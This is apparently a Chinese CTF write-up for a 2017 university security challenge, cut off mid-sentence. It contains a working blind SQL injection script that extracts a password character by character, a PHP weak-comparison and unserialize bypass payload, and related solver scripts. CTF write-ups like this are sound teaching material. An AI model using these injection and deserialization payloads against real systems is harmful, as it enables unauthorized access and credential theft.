1. 程式人生 > >2017年高校網路資訊保安管理運維挑戰賽部分題解

2017年高校網路資訊保安管理運維挑戰賽部分題解

Login

右鍵原始碼提示 使用者名稱是admin 密碼是pwd欄位 典型注入
試一下 發現全都過濾了,空格union select還有各種函式…
使用異或^構造payload:
這裡寫圖片描述
(在我自己搭的環境裡測試)發現可以
寫指令碼:

import requests
url = 'http://202.112.26.124:8080/fb69d7b4467e33c71b0153e62f7e2bf0/index.php'

s = requests.Session()

pwd=""

for i in range(1, 31):
    for j in range(65,122):
        payload = "admin'^(strcmp(left(right(pwd,"
+str(i)+"),1),'"+chr(j)+"'))='1" #print payload data = {'uname':payload, 'pwd':'123'} r = s.post(url,data) #print r.content if 'password' in r.content: pwd += chr(j) print payload print pwd print pwd[::-1]

隨機數:

快速計算

直接上指令碼:

import re, requests
s = requests.Session()
url = 'http://202.120.7.220:2333/'
r = s.get(url)
c = r.content
num = re.findall(re.compile(r'br/>(.*?)=<input'), c)[0]
print num
data = {'v' : eval(num)}
print data
r = s.post(url, data = data)
print r.content

不是管理員也能登陸:

根據提示 開啟幫助與說明
這裡寫圖片描述
右鍵原始碼:
這裡寫圖片描述

思路很清晰了:使用者名稱是0e開頭的md5,密碼是構造反序列化
搭環境試了一下
這裡寫圖片描述

使用者名稱:QNKCDZO
密碼:a:2:{s:4:”name”;s:2:”XX”;s:3:”pwd”;s:2:”XX”;}

提交錯誤。。。這就很尷尬。所以感覺原始碼的XX並不是真正的XX
而且注意到是用的兩個等於號 弱型別匹配,這就簡單了,傳0就行了

構造的密碼為a:2:{s:4:”name”;i:0;s:3:”pwd”;i:0;}

過了

Easy crypto

審了一下題,需要將演算法逆置。
程式碼如下:

# -*- coding: utf-8 -*-
def rc4(data,key):
    j=0
    s=range(256)
    for i in range(256):
        j=(j+s[i]+ord(key[i%len(key)]))%256
        s[i],s[j]=s[j],s[i]
    i=0
    j=0
    out=[]
    for char in data:
        i=(i+1)%256
        j=(j+s[i])%256
        s[i],s[j]=s[j],s[i]
        out.append(chr(ord(char)^s[(s[i]+s[j])%256]))
    return ''.join(out)
f = open('enc.txt', 'r')
r = f.read()
encodedata=rc4(r,'hello world')
print encodedata

PHP是最好的語言

2017年11月2日
19:37

  1. 初步觀察

開啟之後一片空白,但是在index.php後面新增.bak可以下載到原始碼,可以看出這個題目屬於php程式碼審計型別
2. 檢視原始碼,確定方案
看到原始碼中含有反序列化函式,應該是考察PHP的反序列化漏洞

通讀一遍程式碼發現,只要滿足v1,v2,v3都為1就可以顯示flag

原始碼中有三個函式可以讓v1,v2,v3為1,因此主要目標就是滿足這三個函式的條件讓這三個函式執行
3. 具體操作
a. V1函式

第一個if需要a是一個數組,所以a=array();Isnumericaparam1退a[param1]ifa[param1]2017v11a[param1]phpPHPPHP0a[“param1”]=”2018a”;,那麼2018>2017可以使條件成立
b. V2函式
首先需要a[param2]是一個數組,那麼應該想到陣列巢狀陣列,
看下一個if條件,得知,如果a[param2]長度不為5或者a[param2][0]為0那麼就會退出,所以我們需要構造的條件就是:a[param2]長度為5,而且a[param2][0]不為0。
繼續往下看,pos變數我們需要它返回為True,需要的條件為使用array_search函式時,a[param2]中與nudt有匹配的值,然而往下看在遍歷a[param2]中的值的時候,需要全部與“nudt”不相等,看似矛盾,但是由於“nudt”字串與數字進行比較時,php會將nudt變成0,所以需要a[param2]中有個0
綜上,構造一句:a[param2]=array(array(1),1,2,3,0);a